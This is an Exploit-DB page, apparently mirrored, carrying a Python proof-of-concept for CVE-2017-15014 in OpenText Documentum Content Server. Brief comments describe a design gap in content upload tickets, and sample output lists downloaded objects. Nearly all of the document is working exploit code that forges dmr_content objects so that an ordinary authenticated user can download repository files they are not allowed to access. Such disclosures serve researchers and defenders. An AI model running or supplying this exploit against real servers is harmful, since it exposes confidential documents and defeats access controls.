OpenText Documentum Content Server – Arbitrary File Download

  • 作者: Andrey B. Panfilov
    日期: 2017-10-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43005/
  • #!/usr/bin/env python
    
    # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
    # contains following design gap, which allows authenticated user to download arbitrary
    # content files regardless attacker's repository permissions:
    #
    # when authenticated user upload content to repository he performs following steps:
    # - calls START_PUSH RPC-command
    # - uploads file to content server
    # - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET,
    #purposed to identify the location of the uploaded file on Content Server filesystem
    # - further user creates dmr_content object in repository, which has value of data_ticket equal
    #to the value of DATA_TICKET returned at the end of END_PUSH_V2 call
    #
    # As the result of such design any authenticated user may create his own dmr_content object,
    # pointing to already existing content of Content Server filesystem
    #
    # The PoC below demonstrates this vulnerability:
    #
    # MacBook-Pro:~ $ python CVE-2017-15014.py
    # usage:
    # CVE-2017-15014.py host port user password
    # MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry
    # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
    # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377Linux64.Oracle
    # Trying to find any object with content...
    # Querying "inaccessible" dmr_content objects...
    # Downloaded 3959/3959 bytes of object 06024be980000133
    # Downloaded 11280/11280 bytes of object 06024be980000135
    # Downloaded 10004/10004 bytes of object 06024be980000138
    # Downloaded 23692/23692 bytes of object 06024be98000017a
    # Downloaded 19541/19541 bytes of object 06024be980000180
    # Downloaded 1096/1096 bytes of object 06024be980000172
    # Downloaded 11776/11776 bytes of object 06024be98000011f
    # Downloaded 50176/50176 bytes of object 06024be980000125
    # Downloaded 16384/16384 bytes of object 06024be98000012f
    # Downloaded 985/985 bytes of object 06024be9800001f5
    # Downloaded 191/191 bytes of object 06024be9800001fe
    # Downloaded 213/213 bytes of object 06024be980000200
    #
    
    
    
    import socket
    import sys
    
    from dctmpy import NULL_ID
    
    from dctmpy.docbaseclient import DocbaseClient
    from dctmpy.obj.typedobject import TypedObject
    
    CIPHERS = "ALL:aNULL:!eNULL"
    
    
    def usage():
    print "usage:\n%s host port user password" % sys.argv[0]
    
    
    def main():
    if len(sys.argv) != 5:
    usage()
    exit(1)
    
    (session, docbase) = create_session(*sys.argv[1:5])
    
    if is_super_user(session):
    print "Current user is a superuser, nothing to do"
    exit(1)
    
    print "Trying to find any object with content..."
    object_id = session.query(
    "SELECT FOR READ r_object_id "
    "FROM dm_sysobject WHERE r_content_size>0") \
    .next_record()['r_object_id']
    session.apply(None, NULL_ID, "BEGIN_TRANS")
    print "Querying \"inaccessible\" dmr_content objects..."
    for e in session.query(
    "SELECT * FROM dmr_content "
    "WHERE ANY parent_id IS NOT NULLID "
    "AND ANY parent_id NOT IN "
    "(SELECT r_object_id FROM dm_sysobject)"
    ):
    handle = 0
    try:
    content_id = session.next_id(0x06)
    obj = TypedObject(session=session)
    obj.set_string("OBJECT_TYPE", "dmr_content")
    obj.set_bool("IS_NEW_OBJECT", True)
    obj.set_int("i_vstamp", 0)
    obj.set_id("storage_id", e["storage_id"])
    obj.set_id("format", e["format"])
    obj.set_int("data_ticket", e["data_ticket"])
    obj.set_id("parent_id", object_id)
    if not session.save_cont_attrs(content_id, obj):
    print "Failed"
    exit(1)
    
    handle = session.make_puller(
    NULL_ID, obj["storage_id"], content_id,
    obj["format"], obj["data_ticket"]
    )
    if handle == 0:
    raise RuntimeError("Unable make puller")
    size = 0
    for chunk in session.download(handle):
    size += len(chunk)
    
    print "Downloaded %d/%d bytes of object %s" % \
    (size, e['full_content_size'], e['r_object_id'])
    finally:
    if handle > 0:
    try:
    session.kill_puller(handle)
    except:
    pass
    
    
    def create_session(host, port, user, pwd):
    print "Trying to connect to %s:%s as %s ..." % (host, port, user)
    session = None
    try:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd)
    except socket.error, e:
    if e.errno == 54:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd,
    secure=True, ciphers=CIPHERS)
    else:
    raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
    (host, port, docbase, version)
    return (session, docbase)
    
    
    def is_super_user(session):
    user = session.get_by_qualification("dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
    return True
    group = session.get_by_qualification(
    "dm_group where group_name='dm_superusers' "
    "AND any i_all_users_names=USER")
    if group is not None:
    return True
    
    return False
    
    
    if __name__ == '__main__':
    main()